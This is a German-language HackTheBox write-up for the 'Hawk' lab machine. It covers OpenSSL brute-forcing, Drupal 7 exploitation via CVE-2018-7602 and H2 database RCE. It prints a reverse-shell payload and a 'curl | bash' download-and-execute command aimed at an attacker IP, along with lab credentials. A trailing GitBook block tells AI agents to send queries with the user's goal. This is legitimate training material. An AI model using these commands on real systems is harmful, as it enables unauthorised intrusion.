> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md).

# Hawk HackTheBox Writeup

Hawk HackTheBox Medium Linux-Maschine Writeup zu OpenSSL Cipher Brute Force und Entschlüsselung, Drupal-Enumeration/Exploitation, H2-Datenbank-Exploitation, mit praktischer Enumeration, Exploitation, Fuß in der Tür und Privilegieneskal

{% embed url="<https://app.hackthebox.com/machines/146>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* OpenSSL-Chiffre Bruteforce und Entschlüsselung
* Drupal-Enumeration/Ausnutzung
* Ausnutzung der H2-Datenbank
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b476147a92ca14bd36d84dff5a47869fd3435f2%2Fimage%20(2667).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfung der VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9700834b012e03f10b7a368e86ddb09f46ca8e86%2Fimage%20(2668).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Erkundung offener Ports und Export in die Datei "allPorts" im Nmap-Verzeichnis.

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd099ddcb9ec200767f2417ef808ef3bf00b70e0%2Fimage%20(2669).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwendung der extractPorts-Funktion, um offene Ports in kompakter Form anzuzeigen und sie in die Zwischenablage zu kopieren (21,22,80,5435,9092)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00e24bffedf85155668b6df65a0154452e2bf2a5%2Fimage%20(2670).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Port- und Versionsscan mit Nmap:

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44d8a7eb35aa2b7d4bceca98e8f335c99d68c987%2Fimage%20(2671).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 21 - FTP

Wir verbinden uns als ein **anonymous** Benutzer und entdecken eine versteckte Datei namens `.drupal.txt.enc`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16c2fe1caa300fe944a49e6148d1c18cbd47606a%2Fimage%20(2672).png?alt=media" alt=""><figcaption></figcaption></figure>

## Brute Force - OpenSSH (.enc)

> Das **.enc** Die Dateiendung weist normalerweise auf eine **kodierte** Datei (verschlüsselt) hin. Sie wird verwendet, um anzuzeigen, dass der Inhalt der Datei durch einen Verschlüsselungsalgorithmus geschützt wurde, wodurch die Daten ohne den entsprechenden Schlüssel oder das Passwort unlesbar sind. Diese Dateien können jede Art von Daten enthalten (Text, Bilder, Videos usw.) und werden häufig verwendet, um sensible Informationen zu schützen.

Das `.enc` Die Datei ist mit einem Algorithmus verschlüsselt **AES-256-CBC** und kodiert in **Base64 kodieren**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77572e2fba67e55b4df4c3749c2456cc145a8f52%2Fimage%20(2673).png?alt=media" alt=""><figcaption></figcaption></figure>

**Schritt 1: Base64 dekodieren**

```bash
cat .drupal.txt.enc | base64 -d > file_decoded.enc
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34740e0bc19cc11b32d0b4805f6858227ce928e8%2Fimage%20(2674).png?alt=media" alt=""><figcaption></figcaption></figure>

**Schritt 2: Entschlüsselung mit OpenSSL**

Um die Datei zu entschlüsseln, benötigen wir ein Passwort. Hier ist der Befehl, um eine manuelle Entschlüsselung zu versuchen:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af8cfefc7fe4531094d5fb8065e5a31c933a04fa%2Fimage%20(2675).png?alt=media" alt=""><figcaption></figcaption></figure>

**Schritt 3: Automatisierungsskript für Brute-Force**

Wir verwenden ein Bash-Skript, um eine Passwortliste zu testen (z. B. `rockyou.txt`).

```bash
#!/bin/bash

function ctrl_c(){
    echo -e "/n/n[!] Exiting.../n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis
for password in $(cat /usr/share/wordlists/rockyou.txt); do
    openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null

    if [ "$(echo $?)" == "0" ]; then
        echo -e "/n[+] Das Passwort ist : $password/n"
        exit 0
    fi
done; tput cnorm
```

**Ergebnis:**

Das gefundene Passwort ist: **Freunde**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ec3269c4f31949021332d09000d2ec83f02df83%2Fimage%20(2676).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Entschlüsselte Nachricht**

Die entschlüsselte Datei enthält ein neues Passwort:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64

Freunde
```

* **PencilKeyboardScanner123**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6f128df7f5443d3f12a87a5104243cd032edf7c%2Fimage%20(2677).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 80 - HTTP

Auf Port 80 läuft ein Drupal-7-CMS.

```bash
whatweb 10.10.10.102
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62537663dc71693c66bac8de15a479a7c3066549%2Fimage%20(868).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d365f27853662c60b023ff9595df1d2a46941f95%2Fimage%20(2678).png?alt=media" alt=""><figcaption></figcaption></figure>

**Authentifizierung - Zugriff mit Passwort**

Versuche dich mit dem `PencilKeyboardScanner123` Passwort für den Benutzer `admin` zu verbinden, und die Authentifizierung gelingt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9854da5c1665a4a24619c6efd299e07ef3fef10f%2Fimage%20(867).png?alt=media" alt=""><figcaption></figcaption></figure>

### Reverse Shell - Drupal 7

Wir werden das folgende Skript verwenden, um Befehle auf einem Drupal-Server unter Version 7 auszuführen (CVE-2018-7602):

{% embed url="<https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py>" %}

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru"
```

Dieser Befehl ermöglicht es dir, den `ID` Befehl auf dem Server auszuführen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4a848bde5138758b3c3c5fa863c68e0a4534629%2Fimage%20(869).png?alt=media" alt=""><figcaption></figcaption></figure>

**Zugriff auf den Server**/ Um Zugriff auf den Server herzustellen, müssen wir Port 443 mit `nc`

```bash
nc -nvlp 443
```

Dann erstellst du eine `index.html` Datei mit folgendem Inhalt, um eine Reverse-Shell herzustellen:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.30/443 0>&1
```

**Webserver und Befehlsausführung**/ Startet einen HTTP-Server mit Python:

```bash
python3 -m http.server 80 
```

Sende dann den folgenden Befehl, um das Skript herunterzuladen und auszuführen:

```bash
curl http://10.10.14.3 | bash
```

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru"
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f08dac2514d3f2dab6115d45ef5e3f91c913119%2Fimage%20(870).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**Terminal-Stabilisierung** Zur Verwaltung des Terminals werden die folgenden Befehle verwendet:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cca193231cfb97ec7bc00b266564e229de64e247%2Fimage%20(871).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **Privilegieneskalation**

Beim Durchsuchen des Webverzeichnisses unter `/var/www/html`sind mehrere Konfigurationsdateien sichtbar. Darunter wird eine interessante Datei identifiziert:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef54eec337a2942a055ea3c50d9e4a44e7797bf6%2Fimage%20(2680).png?alt=media" alt=""><figcaption></figcaption></figure>

**Pfad :** `sites/default/settings.php`

Beim Durchsehen dieser Datei finden wir sensible Informationen:

* Benutzername: drupal
* Passwort: drupal4hawk

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01aa9995a68738a29f46007af5d528bc37c638e9%2Fimage%20(2679).png?alt=media" alt=""><figcaption></figcaption></figure>

Mit diesen Zugangsdaten verbinden wir uns mit der MySQL-Datenbank. Dazu werden folgende Befehle verwendet:

```bash
mysql -u drupal -p
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af02e90772e84e4bd6be312096f4bb1a1c3f4a0f%2Fimage%20(2681).png?alt=media" alt=""><figcaption></figcaption></figure>

Nach Eingabe des Passworts werden alle verfügbaren Datenbanken aufgelistet und anschließend die mit Drupal verknüpfte Datenbank ausgewählt:

```sql
show databases;
use drupal;
```

Sobald wir in der Datenbank sind, durchsuchen wir den Inhalt der `users` Tabelle, um interessante Informationen zu finden:

```
SELECT * FROM users;
```

In dieser Tabelle finden wir ein gehashtes Passwort, das mit einem Benutzer verknüpft ist:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5dd08f4e1b263a5ff53e6d859f6bcff925c7b0d0%2Fimage%20(2682).png?alt=media" alt=""><figcaption></figcaption></figure>

* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08`

### Bruteforce mit John - Passwort-Hash

Verwende John, um den Passwort-Hash zu knacken

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Allerdings wurde in diesem speziellen Fall in der `rockyou.txt` Passwortliste keine Übereinstimmung gefunden.

### Python zu normalem Bash umgehen

Wir haben als ein `daniel` Benutzer mit einem Passwort auf den Server zugegriffen, das der Datenbank zugeordnet ist (in diesem Beispiel, **drupal4hawk**). Hier ist der Befehl zum Verbinden:

```bash
ssh daniel@10.10.10.182
```

Passwort: **drupal4hawk**

Nach der Verbindung befinden wir uns direkt in einem Python-Interpreter.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f3bf511a71df9df5ad1b32cd68efd199114b4f2c%2Fimage%20(865).png?alt=media" alt=""><figcaption></figcaption></figure>

Um zu einer normalen Bash-Shell zurückzukehren, können wir Pythons `os` Modul, um einen Bash-Befehl auszuführen. Hier sind die Schritte:

1. Modul importieren `os` :

   ```python
   import os
   ```
2. Eine Bash-Shell starten:

   ```python
   os.system('/bin/bash')
   ```

Dies ermöglicht Ihnen den Zugriff auf eine normale Bash-Shell aus dem Python-Interpreter heraus.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-496fcd4867069cf292809d9505f05ad60cc53c65%2Fimage%20(866).png?alt=media" alt=""><figcaption></figcaption></figure>

## Ausnutzung der H2-Datenbank

/*/* Analyse offener Ports/*/*

Zunächst listen wir intern offene Ports mit dem folgenden Befehl auf:

```bash
netstat -tuln
```

Wir stellen fest, dass Port **8082** offen ist und einen Dienst hostet. Durch die Analyse stellen wir fest, dass es sich um ein Datenbank-CMS handelt: **H2 Database**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f34b07f59b7875bfad272d4efe6683753221d43f%2Fimage%20(2683).png?alt=media" alt=""><figcaption></figcaption></figure>

Um von unserem Rechner aus auf diesen Dienst zuzugreifen, richten wir mit **SSH**eine Weiterleitung des internen Ports 8082 auf Port 8082 unseres lokalen Rechners ein:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5326b6f13ed64f5f0a72a40e2a5c3d5a6de8d892%2Fimage%20(2684).png?alt=media" alt=""><figcaption></figcaption></figure>

### Portweiterleitung

Um von unserem Rechner aus auf diesen Dienst zuzugreifen, richten wir mit **SSH**eine Weiterleitung des internen Ports 8082 auf Port 8082 unseres lokalen Rechners ein:

```bash
ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102
```

### H2 Database:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aec01f64b10b5c31cec3f7bbf9eb7141030baaf1%2Fimage%20(2685).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir verwenden **searchsploit** um nach bekannten Schwachstellen im Zusammenhang mit der H2-Datenbank zu suchen:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f1b5ad6558d5f985f72320fc61bf6fd935770e1%2Fimage%20(2687).png?alt=media" alt=""><figcaption></figcaption></figure>

```
searchsploit -m java/webapps/45506.py
```

Wir finden ein interessantes Feature, das Remote-Befehlsausführung ermöglicht:

```bash
python3 45506.py -H 127.0.0.1:8082
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-672d4d7dbf52a3d3c1a6548cea9f11c5daa6e191%2Fimage%20(2686).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

Das Skript ermöglicht es uns, Befehle auf dem Zielrechner auszuführen. Beim Durchsuchen des Systems erhalten wir die **root.txt-Flag**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99ddd22267dbb7a48d1f06ba3507b5f928e11d4f%2Fimage%20(2688).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc9fbcfbfb90bf183d39b172dac584adb3b7dc0d%2Fimage%20(2689).png?alt=media" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
